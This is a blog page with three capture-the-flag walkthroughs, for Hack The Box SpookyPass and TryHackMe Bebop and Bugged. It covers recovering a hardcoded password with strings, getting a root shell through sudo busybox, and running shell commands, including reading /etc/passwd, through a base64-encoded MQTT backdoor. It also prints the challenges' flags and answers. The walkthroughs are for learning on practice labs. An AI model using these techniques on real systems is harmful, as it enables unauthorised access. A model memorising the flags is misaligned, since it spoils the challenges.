Tag: Offensive Security

Capture the Flag

Hack The Box Walkthrough: SpookyPass

A ghost holding a ticket to get into a partyToday’s challenge is a very easy challenge from Hack the Box. You can find it here. There is no machine to start up, you just download the required files for the challenge. You’ll get a .zip file and the password they provide you is hackthebox.

(kali@vici)-[~/htb/spookypass]
$ unzip SpookyPass.zip                                                      
Archive:  SpookyPass.zip
   creating: rev_spookypass/
[SpookyPass.zip] rev_spookypass/pass password: 
  inflating: rev_spookypass/pass    

After unzipping it, we see that it unzipped a directory called rev_spookypass and that directory has a single file in it called pass. When we run the file command on pass, we see that is an executable and that it is not stripped.

(kali@vici)-[~/htb/spookypass]
$ ls
rev_spookypass  SpookyPass.zip
                                                                                                                                                        
(kali@vici)-[~/htb/spookypass]
$ cd rev_spookypass && ls
pass

(kali@vici)-[~/htb/spookypass/rev_spookypass]
$ file pass     
pass: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3008217772cc2426c643d69b80a96c715490dd91, for GNU/Linux 4.4.0, not stripped

Since this is Hack the Box, we can be a little less cautious. However, if you find an executable in the wild, don’t just run it. The better play is to get it into a sandbox and run it there so that it can’t do any damage to your machine or VM on the chance that it is malicious. Warnings aside, here we go..

(kali@vici)-[~/htb/spookypass/rev_spookypass]
$ ./pass                                         
Welcome to the SPOOKIEST party of the year.
Before we let you in, you'll need to give us the password: hackthebox
You're not a real ghost; clear off!

Okay. So, we need a password. The file command said that this binary executable is not stripped. What does that even mean? That means that the binary still contains its symbol table and possibly debugging information. The result is that:

  • Function names, variable names, and other symbols are still embedded inside.
  • It’s larger in size than a stripped binary.
  • It’s easier to debug or reverse engineer (e.g., using gdb, objdump, or strings).

Okay, so now we are talking about some good stuff. Since this wants a password and it is checking, it is possible that the password is inside, unobfuscated, and accessible through some simple methods. I’m going to try strings first. What is strings? This description is from the man pages for strings.

DESCRIPTION
For each file given, GNU strings prints the printable character sequences that are at 
least 4 characters long (or the number given with the options below) and are followed 
by an unprintable character.

Depending upon how the strings program was configured it will default to either 
displaying all the printable sequences that it can find in each file, or only those 
sequences that are in loadable, initialized data sections.  If the file type is 
unrecognizable, or if strings is reading from stdin then it will always display all of 
the printable sequences that it can find.

For backwards compatibility any file that occurs after a command-line option of just - 
will also be scanned in full, regardless of the presence of any -d option.

strings is mainly useful for determining the contents of non-text files.

What does that get us?

(kali@vici)-[~/htb/spookypass/rev_spookypass]
$ strings pass                                          
/lib64/ld-linux-x86-64.so.2
fgets
stdin
puts
__stack_chk_fail
__libc_start_main
__cxa_finalize
strchr
printf
strcmp
libc.so.6
GLIBC_2.4
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u3UH
Welcome to the 
[1;3mSPOOKIEST
[0m party of the year.
Before we let you in, you'll need to give us the password: 
s3cr3t_p455_f0r_gh05t5_4nd_gh0ul5
Welcome inside!
You're not a real ghost; clear off!
;*3$"
GCC: (GNU) 14.2.1 20240805
GCC: (GNU) 14.2.1 20240910
main.c
_DYNAMIC
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_start_main@GLIBC_2.34
_ITM_deregisterTMCloneTable
puts@GLIBC_2.2.5
stdin@GLIBC_2.2.5
_edata
_fini
__stack_chk_fail@GLIBC_2.4
strchr@GLIBC_2.2.5
printf@GLIBC_2.2.5
parts
fgets@GLIBC_2.2.5
__data_start
strcmp@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
_end
__bss_start
main
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@GLIBC_2.2.5
_init
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got
.got.plt
.data
.bss
.comment

Anything look good in there? Absolutely! Between the string requesting the password and the string welcoming you in is this gem, “s3cr3t_p455_f0r_gh05t5_4nd_gh0ul5”. Let’s see if it works.

(kali@vici)-[~/htb/spookypass/rev_spookypass]
$ ./pass 
Welcome to the SPOOKIEST party of the year.
Before we let you in, you'll need to give us the password: s3cr3t_p455_f0r_gh05t5_4nd_gh0ul5
Welcome inside!
HTB{un0bfu5c4t3d_5tr1ng5}   

And there we go. If we put that flag in over at Hack the Box, we win.

Submitting the flag at HTB

SpookyPass Pwned Success Message

There we go! Very Easy, as promised. However, we did get some exposure to learning about unknown files and some very basic skills in prodding those files to see what might be hidden within them. Any questions, let me know in the comments!

Capture the Flag

TryHackMe Room Walkthrough: Bebop

An evil drone, representing the drone in this exerciseToday, we’re going work our way through another TryHackMe room called Bebop. This one isn’t in the Free Tier, but it is considered “Easy” and is a “Walkthrough Room” rather than a “Challenge Room”. Because of that, there will be some additional questions in addition to just posting User and Root flags. Getting started, the room description says, “Who thought making a flying shell was a good idea?”. For the first task, it reads, “For this mission, you have been assigned the codename ‘pilot’. Press the Start Machine button to make the drone takeoff!”.

Task 1

“Deploy the machine.”No answer needed
“What is your codename?”pilot

Task 2

With the machine started and enough time elapsed, I first ran an nmap scan to see what we were dealing with.

~# nmap -sCV -T4 10.10.194.21
Starting Nmap 7.80 ( https://nmap.org ) at 2025-03-05 16:25 GMT
Nmap scan report for 10.10.194.21
Host is up (0.0013s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.5 (FreeBSD 20170903; protocol 2.0)
| ssh-hostkey: 
|   2048 5b:e6:85:66:d8:dd:04:f0:71:7a:81:3c:58:ad:0b:b9 (RSA)
|   256 d5:4e:18:45:ba:d4:75:2d:55:2f:fe:c9:1c:db:ce:cb (ECDSA)
|_  256 96:fc:cc:3e:69:00:79:85:14:2a:e4:5f:0d:35:08:d4 (ED25519)
23/tcp open  telnet  BSD-derived telnetd
MAC Address: 02:D4:65:95:48:91 (Unknown)
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.44 seconds

So, ports 22 (SSH) and 23 (telnet) are open. SSH is rarely the initial way in without any other information, so let’s try telnet, remembering our username of pilot that they’ve already told us and then asked us about. Connecting, I was asked for a login and I typed pilot. This immediately got me to an interactive session. So, they meant Easy easy on this one.

root@ip-10-10-235-128:~# telnet 10.10.194.21
Trying 10.10.194.21...
Connected to 10.10.194.21.
Escape character is '^]'.
login: pilot
Last login: Sat Oct  5 23:48:53 from cpc147224-roth10-2-0-cust456.17-1.cable.virginm.net
FreeBSD 11.2-STABLE (GENERIC) #0 r345837: Thu Apr  4 02:07:22 UTC 2019

Welcome to FreeBSD!

Release Notes, Errata: https://www.FreeBSD.org/releases/
Security Advisories:   https://www.FreeBSD.org/security/
FreeBSD Handbook:      https://www.FreeBSD.org/handbook/
FreeBSD FAQ:           https://www.FreeBSD.org/faq/
Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/
FreeBSD Forums:        https://forums.FreeBSD.org/

Documents installed with the system are in the /usr/local/share/doc/freebsd/
directory, or can be installed later with:  pkg install en-freebsd-doc
For other languages, replace "en" with a language code like de or fr.

Show the version of FreeBSD installed:  freebsd-version ; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages:  man man
FreeBSD directory layout:      man hier

Edit /etc/motd to change this login announcement.
Want to strip UTF-8 BOM(Byte Order Mark) from given files?

	sed -e '1s/^\xef\xbb\xbf//' < bomfile > newfile
[pilot@freebsd ~]$ 

Doing an ls shows me that we can see the user.txt file in our directory and cat-ing it out gives us the first answer of Task 2.
Okay, so we’re already at a command prompt. No issues here.

[pilot@freebsd ~]$ ls
user.txt
[pilot@freebsd ~]$ cat user.txt
THM{r3m0v3_b3f0r3_fl16h7}

What is the User Flag?THM{r3m0v3_b3f0r3_fl16h7}

Moving on, we need to see what we can do to elevate our privileges to root to get the root flag. One of the first things I usually do is sudo -l to see what we can run as sudo. Since we didn’t use a password to log in, we didn’t know the password if there was one. Luckily, it didn’t ask us one to run this command.

[pilot@freebsd ~]$ sudo -l
User pilot may run the following commands on freebsd:
    (root) NOPASSWD: /usr/local/bin/busybox

Okay, so we can run the binary busybox with sudo as root with no password. Is that useful? This is where I check my favorite PrivEsc companion GTFOBins to see. You can find the entry for busybox here. Taking a small aside, busybox is a utility that you often find in embedded systems that contains its own implementations of things like ls, sh, mv, etc. In these systems, you can execute the commands by calling busybox {command}, or – quite often – the person who set up the system will symlink ls to just call busybox ls, like this: ln -s /bin/busybox /bin/ls, so you might not even know that busybox is involved. This would allow you to only have one binary instead of many, with an overall size savings.

In this case, that means if I call sudo busybox sh, I’ll get a shell opened as root, which is just what happened.

[pilot@freebsd ~]$ sudo busybox sh
# whoami
root

From there, we navigate to the root directory and cat out the file.

# cd /root
# ls
.bash_history	.history	.login		root.txt
.cshrc		.k5login	.profile
# cat root.txt
THM{h16hw4y_70_7h3_d4n63r_z0n3}

What is the Root Flag?THM{h16hw4y_70_7h3_d4n63r_z0n3}

Task 3

What is the low privilleged user?pilot
What binary was used to escalate privileges?busybox
What service was used to gain an initial shell?telnet

Last question, we already knew from what we saw in our nmap scan and also at the dump of information at our login prompt, but you can always check this way from within the system itself.

# uname -a
FreeBSD freebsd 11.2-STABLE FreeBSD 11.2-STABLE #0 r345837: Thu Apr  4 02:07:22 UTC 2019     root@releng2.nyi.freebsd.org:/usr/obj/usr/src/sys/GENERIC  amd64

What Operating System does the drone run?FreeBSD

That’s it. The most basic of rooms, but a pretty good entry point into some basic recon and basic PrivEsc if you’re new to this.

Capture the Flag

TryHackMe Challenge Room Walkthrough: Bugged

An image of a robotic mosquito to represent Eclipse MosquittoIn this post, I want to take a look at a room over at TryHackMe called Bugged. This is a free room, which means that you don’t need a paid account to play along. So if you’d like to try it out, or just follow along with my walkthrough, it is available to everyone. I came into this room without any idea of what it is outside of an “Easy” challenge that has an estimated completion time of 30 Minutes. The description of the room reads:

John was working on his smart home appliances when he noticed weird traffic going across the network. Can you help him figure out what these weird network communications are?

That’s it. While I worked through the room, I kept my notes and I’m just writing up this blog post from my notes, so you’ll follow along with whatever I came across. That all being said, I fired up the box and went to work. For me, the IP Address was 10.10.99.76, so that’s what you’ll see in my scans and commands, but you should use whatever IP Address they give you for your box.

Once the box was active and I gave it enough time for services to start, I ran an nmap scan. I kept it very simple and just had -sCV as my only flags to run default scripts and enumerate versions of things. -sC is default scripts and -sV is to do versions, but you can also just combine them like I did into one argument. You can see, though, that nothing came back on the 1000 most common ports.

$ sudo nmap -sCV 10.10.99.76
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-06 16:34 EST
Nmap scan report for 10.10.99.76
Host is up (0.10s latency).
All 1000 scanned ports on 10.10.99.76 are in ignored states.
Not shown: 1000 closed tcp ports (reset)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.00 seconds

My next choice was whether to enumerate all TCP ports (-p-) or switch to UDP. I knew we were dealing with some kind of IoT (Internet of Things) situation, but it wasn’t clear what protocols they might be using. I opted for all TCP ports first. Because we’re doing 65535 ports, I also included -T4 to use a fast Timing Template.

$ sudo nmap -sCV -T4 -p- 10.10.99.76 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-06 16:41 EST
Nmap scan report for 10.10.99.76
Host is up (0.100s latency).
Not shown: 65534 closed tcp ports (reset)
PORT     STATE SERVICE                  VERSION
1883/tcp open  mosquitto version 2.0.14
| mqtt-subscribe: 
|   Topics and their most recent payloads: 
|     $SYS/broker/load/bytes/sent/1min: 362.33
|     frontdeck/camera: {"id":1437912445148180553,"yaxis":87.74393,"xaxis":-108.68722,"zoom":4.2217307,"movement":false}
|     $SYS/broker/uptime: 1265 seconds
|     $SYS/broker/load/bytes/sent/15min: 333.58
|     $SYS/broker/publish/bytes/received: 65577
|     $SYS/broker/load/messages/received/15min: 68.51
|     $SYS/broker/load/messages/received/1min: 90.42
|     patio/lights: {"id":14248824006532743469,"color":"PURPLE","status":"OFF"}
|     $SYS/broker/load/sockets/5min: 0.28
|     $SYS/broker/clients/active: 2
|     $SYS/broker/load/messages/received/5min: 89.30
|     $SYS/broker/bytes/sent: 10406
|     $SYS/broker/load/bytes/received/15min: 3275.98
|     $SYS/broker/load/bytes/received/1min: 4295.31
|     $SYS/broker/clients/disconnected: 0
|     $SYS/broker/load/messages/sent/5min: 90.74
|     livingroom/speaker: {"id":9214619165696293578,"gain":56}
|     $SYS/broker/store/messages/bytes: 282
|     $SYS/broker/version: mosquitto version 2.0.14
|     $SYS/broker/clients/connected: 2
|     $SYS/broker/messages/sent: 1977
|     $SYS/broker/load/bytes/sent/5min: 420.77
|     $SYS/broker/clients/inactive: 0
|     storage/thermostat: {"id":5120676131388820374,"temperature":23.588703}
|     $SYS/broker/messages/received: 1916
|     $SYS/broker/bytes/received: 91685
|     $SYS/broker/load/sockets/15min: 0.16
|     $SYS/broker/load/messages/sent/1min: 90.43
|     $SYS/broker/load/bytes/received/5min: 4266.77
|     $SYS/broker/load/sockets/1min: 0.91
|     $SYS/broker/load/publish/sent/15min: 1.35
|     $SYS/broker/load/publish/sent/5min: 1.44
|_    $SYS/broker/load/messages/sent/15min: 69.86

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 250.54 seconds

We can see now that TCP port 1883 is open. nmap is telling us that port 1883 is for MQTT and it mentions mosquitto version 2.0.14. I am familiar with those things only because of TryHackMe’s Advent of Cyber. I think they’ve had something with mosquitto the last 2 years. Other than that, I’d be clueless. If you do some research about port 1883, you find out that “This port is used for unencrypted MQTT connections. It is the most commonly used MQTT port and is the default port for most MQTT brokers. Using this port, MQTT clients can publish messages, subscribe to topics, and receive published messages.” (shout out EMQX for that summary)

So 1883 is for MQTT, which we kind of knew. What’s MQTT? “MQTT (Message Queuing Telemetry Transport) is a messaging protocol that allows devices to communicate with each other over unreliable networks. It’s a key part of the Internet of Things (IoT) and is used in many applications, including smart devices and industrial automation.” (from a different page at EMQX.com)

We also see from nmap that this is for mosquitto, which is an Open Source MQTT Broker. You can learn more about it here at its homepage. I already have it installed from the Advent of Cyber rooms, but if you want to install it, you can do so like this. This will get you what you will need to do most things.

$ sudo apt install mosquitto mosquitto-clients
mosquitto is already the newest version (2.0.20-1).
mosquitto-clients is already the newest version (2.0.20-1).
Summary:
  Upgrading: 0, Installing: 0, Removing: 0, Not Upgrading: 2

Now that we have it, let’s explore. From the name, we know MQTT is a Message Queuing thing. So, we know we need to find out what kinds of messages are there. In this case, we’re curious about what topics we can get to. So we can use the mosquitto_sub command with the -h flag to provide the host, -t to provide the topics, and -v gives us verbose messaging. You can see that I used # for the topic. # is a wildcard. According to https://mosquitto.org/man/mqtt-7.html about the -t flag: Clients can receive messages by creating subscriptions. A subscription may be to an explicit topic, in which case only messages to that topic will be received, or it may include wildcards. Two wildcards are available, + or #.

$ mosquitto_sub -h 10.10.99.76 -t "#" -v
frontdeck/camera {"id":3316278497206393273,"yaxis":144.23682,"xaxis":-145.33704,"zoom":3.6814656,"movement":false}
storage/thermostat {"id":4447429892760772140,"temperature":23.896393}
livingroom/speaker {"id":8043902103709725435,"gain":50}
patio/lights {"id":6882341591718616343,"color":"BLUE","status":"ON"}
kitchen/toaster {"id":13944608183956243422,"in_use":true,"temperature":144.01237,"toast_time":197}
storage/thermostat {"id":14824713294408631232,"temperature":23.505255}
livingroom/speaker {"id":14097258738045186455,"gain":69}
patio/lights {"id":10945295088170915799,"color":"ORANGE","status":"ON"}
storage/thermostat {"id":1761967593096677692,"temperature":23.863026}
frontdeck/camera {"id":13659946362156472261,"yaxis":-155.89848,"xaxis":74.208435,"zoom":4.8601637,"movement":false}
kitchen/toaster {"id":54995940908488509,"in_use":false,"temperature":149.31566,"toast_time":162}
livingroom/speaker {"id":4787247383303923045,"gain":55}
storage/thermostat {"id":4101028798481015144,"temperature":24.009056}
patio/lights {"id":3871161962820974111,"color":"PURPLE","status":"OFF"}
livingroom/speaker {"id":17032533523555165243,"gain":60}
storage/thermostat {"id":7267103446169338555,"temperature":23.10556}
kitchen/toaster {"id":17519391021814147087,"in_use":false,"temperature":150.18582,"toast_time":330}
patio/lights {"id":62312332503512946,"color":"BLUE","status":"ON"}
frontdeck/camera {"id":15298122962505503081,"yaxis":-152.87685,"xaxis":103.75702,"zoom":1.4049865,"movement":false}
livingroom/speaker {"id":14524809808299595461,"gain":55}
storage/thermostat {"id":2132556209662210914,"temperature":23.478561}
kitchen/toaster {"id":15084763098398519150,"in_use":false,"temperature":147.05132,"toast_time":152}
patio/lights {"id":12157711019578367482,"color":"BLUE","status":"OFF"}
storage/thermostat {"id":15828996057674607786,"temperature":23.76949}
livingroom/speaker {"id":16187455369153881772,"gain":41}
yR3gPp0r8Y/AGlaMxmHJe/qV66JF5qmH/config eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==
storage/thermostat {"id":7669397520840774908,"temperature":24.374035}
frontdeck/camera {"id":3732476809053275501,"yaxis":-178.7423,"xaxis":-68.41884,"zoom":1.4278014,"movement":false}
kitchen/toaster {"id":11497578177789502283,"in_use":true,"temperature":147.58412,"toast_time":235}
patio/lights {"id":14209308141761888232,"color":"GREEN","status":"OFF"}
livingroom/speaker {"id":9228878491355405771,"gain":49}
storage/thermostat {"id":1897325864374850629,"temperature":24.048952}
livingroom/speaker {"id":10819232674171975266,"gain":57}
patio/lights {"id":8246779295936973173,"color":"ORANGE","status":"OFF"}
kitchen/toaster {"id":13861366123068819689,"in_use":false,"temperature":153.83165,"toast_time":286}
storage/thermostat {"id":18391360995922244987,"temperature":23.866116}
frontdeck/camera {"id":3098875847381960983,"yaxis":-77.119484,"xaxis":-100.20491,"zoom":0.33455136,"movement":false}
livingroom/speaker {"id":17130018290591971364,"gain":54}
^C 

This will just keep going, so after waiting and watching for a while, I just hit Ctrl-C to cancel it (that’s the ^C you see at the bottom of the output). Note that we just see repeating statuses from multiple devices. The Living Room speaker’s volume is at 50, 55, 60, 55, etc. The Thermostat is 23.9, 23.5, 23.9, etc. Then, as I’m watching this data come by with each device’s sensors reporting status and changes, this weird text shows up in the middle. What is it? First glance, it 100% looks like base64. We could decode it in CyberChef, but we can also do it at the terminal. Breaking down what we’re seeing, there seem to be some parts. First, we see yR3gPp0r8Y/AGlaMxmHJe/qV66JF5qmH/config. Then eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==

The first thing is the topic. Note that in our response below, the pub_topic and sub_topic follow a similar convention of characters then / then characters then / then characters then / then /sub or /pub. This one just happens to be /config, which tells us what to do.

$ echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==" | base64 -d                                        
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","registered_commands":["HELP","CMD","SYS"],"pub_topic":"U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub","sub_topic":"XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub"}

Okay. So, this /config topic is telling us where they publish and where they subscribe. You have to think about this “backwards” because you don’t publish to the /pub topic, you subscribe to it. /pub is where they publish from and /sub is what they’re subscribed to. So if you want them to hear your message, you publish to where they subscribe. Hopefully, that makes sense.

Okay, so first, let’s subscribe to what they’re publishing. This will just “hang” because it is listening in real time and nothing is coming out yet. We just use the command mosquitto_sub with the host (-h) and the publisher topic (-t), pulled right from that message we decoded.

$ mosquitto_sub -h 10.10.99.76 -t "U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub"

Since we’re not getting anything, let’s publish something. I have to open a new terminal tab because I have to leave the subscriber listening. However, I have no idea what does what, so I use mosquitto_pub with -h for that host -t for the subscription topic from our decoded message and then -m for a message (in this case, “test”).

mosquitto_pub -h 10.10.99.76 -t "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub" -m "test"

This just executes with no return message. So I peeked back at my subscriber and a message appeared under our waiting command.

$ mosquitto_sub -h 10.10.99.76 -t "U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub"
SW52YWxpZCBtZXNzYWdlIGZvcm1hdC4KRm9ybWF0OiBiYXNlNjQoeyJpZCI6ICI8YmFja2Rvb3IgaWQ+IiwgImNtZCI6ICI8Y29tbWFuZD4iLCAiYXJnIjogIjxhcmd1bWVudD4ifSk=

We have another base64 message, so I decoded that at the terminal.

$ echo "SW52YWxpZCBtZXNzYWdlIGZvcm1hdC4KRm9ybWF0OiBiYXNlNjQoeyJpZCI6ICI8YmFja2Rvb3IgaWQ+IiwgImNtZCI6ICI8Y29tbWFuZD4iLCAiYXJnIjogIjxhcmd1bWVudD4ifSk=" | base64 -d
Invalid message format.
Format: base64({"id": "", "cmd": "", "arg": ""}) 

Okay. So, at least it is being helpful. I need to provide some base64 encoded JSON. We don’t know what to put for id (though the original message did have an id of “cdd1b1c0-1c40-4b0f-8e22-61b357548b7d”). We do know what to put for cmd. The original /config message said our options for available commands were HELP, CMD, and SYS. So, I’m going to craft a message with whatever id I want (with their original as a fallback), use the CMD command, and issue whoami as the arg for the command I want to run. So I crafted that and then published it.

$ echo '{"id": "hacktheplanet", "cmd": "CMD", "arg": "whoami"}' | base64
eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJDTUQiLCAiYXJnIjogIndob2FtaSJ9Cg==

$ mosquitto_pub -h 10.10.99.76 -t "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub" -m "eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJDTUQiLCAiYXJnIjogIndob2FtaSJ9Cg=="

Over in our subscriber tab, I got a message back, so I decoded it.

$ echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiY2hhbGxlbmdlXG4ifQ==" | base64 -d
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"challenge\n"} 

I don’t know if that means they didn’t like “hacktheplanet” as an id, if the user is “challenge”, or if that means something else that I can’t figure out at this time. Let’s just try another basic command and see what happens. How about ls?

$ echo '{"id": "hacktheplanet", "cmd": "CMD", "arg": "ls"}' | base64
eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJDTUQiLCAiYXJnIjogImxzIn0K

mosquitto_pub -h 10.10.99.76 -t "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub" -m "eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJDTUQiLCAiYXJnIjogImxzIn0K"

We got a response and we have a much better result this time when I decoded it:

$ echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiZmxhZy50eHRcbiJ9" | base64 -d    
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"flag.txt\n"}

Okay, so either id doesn’t matter, or they just like my style. Let’s see if we can issue another command to cat out the flag.txt file and close out the room.

$ echo '{"id": "hacktheplanet", "cmd": "CMD", "arg": "cat flag.txt"}' | base64
eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJDTUQiLCAiYXJnIjogImNhdCBmbGFnLnR4dCJ9Cg==

mosquitto_pub -h 10.10.99.76 -t "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub" -m "eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJDTUQiLCAiYXJnIjogImNhdCBmbGFnLnR4dCJ9Cg=="
$ echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiZmxhZ3sxOGQ0NGZjMDcwN2FjOGRjOGJlNDViYjgzZGI1NDAxM31cbiJ9" | base64 -d
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"flag{18d44fc0707ac8dc8be45bb83db54013}\n"}   

That’s it. You have the flag and you can close out the room. I am curious, though. What do the other commands do (HELP and SYS)? We didn’t need them, but we have the machine available, why not see?

HELP:

$ echo '{"id": "hacktheplanet", "cmd": "HELP", "arg": ""}' | base64
eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJIRUxQIiwgImFyZyI6ICIifQo=
$ mosquitto_pub -h 10.10.99.76 -t "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub" -m "eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJIRUxQIiwgImFyZyI6ICIifQo="              

$ echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiTWVzc2FnZSBmb3JtYXQ6XG4gICAgQmFzZTY0KHtcbiAgICAgICAgXCJpZFwiOiBcIjxCYWNrZG9vciBJRD5cIixcbiAgICAgICAgXCJjbWRcIjogXCI8Q29tbWFuZD5cIixcbiAgICAgICAgXCJhcmdcIjogXCI8YXJnPlwiLFxuICAgIH0pXG5cbkNvbW1hbmRzOlxuICAgIEhFTFA6IERpc3BsYXkgaGVscCBtZXNzYWdlICh0YWtlcyBubyBhcmcpXG4gICAgQ01EOiBSdW4gYSBzaGVsbCBjb21tYW5kXG4gICAgU1lTOiBSZXR1cm4gc3lzdGVtIGluZm9ybWF0aW9uICh0YWtlcyBubyBhcmcpXG4ifQ==" | base64 -d
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"Message format:\n    Base64({\n        \"id\": \"\",\n        \"cmd\": \"\",\n        \"arg\": \"\",\n    })\n\nCommands:\n    HELP: Display help message (takes no arg)\n    CMD: Run a shell command\n    SYS: Return system information (takes no arg)\n"}   

SYS:

$ echo '{"id": "hacktheplanet", "cmd": "SYS", "arg": ""}' | base64                                                                              
eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJTWVMiLCAiYXJnIjogIiJ9Cg==

$ mosquitto_pub -h 10.10.99.76 -t "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub" -m "eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJTWVMiLCAiYXJnIjogIiJ9Cg=="
$ echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiTGludXggeDY0IDUuNC4wLTEwNS1nZW5lcmljIn0=" | base64 -d
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"Linux x64 5.4.0-105-generic"}   

Okay, so those were pretty basic. HELP just further explained what we kind of intuited and was kind of a combination of some of what was in the error message we got after our test message and some of what was in the /config topic. I still have one lingering question, though. Was that a user called challenge in the response from my first properly formatted message? Let’s check the /etc/passwd file… turns out, yes, the user was called challenge (the very last line down there tells us that: challenge:x:1000:1000::/home/challenge:/bin/sh).

$ echo '{"id": "hacktheplanet", "cmd": "CMD", "arg": "cat /etc/passwd"}' | base64                                                                              
eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJDTUQiLCAiYXJnIjogImNhdCAvZXRjL3Bhc3N3ZCJ9Cg==

$ mosquitto_pub -h 10.10.99.76 -t "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub" -m "eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJDTUQiLCAiYXJnIjogImNhdCAvZXRjL3Bhc3N3ZCJ9Cg=="
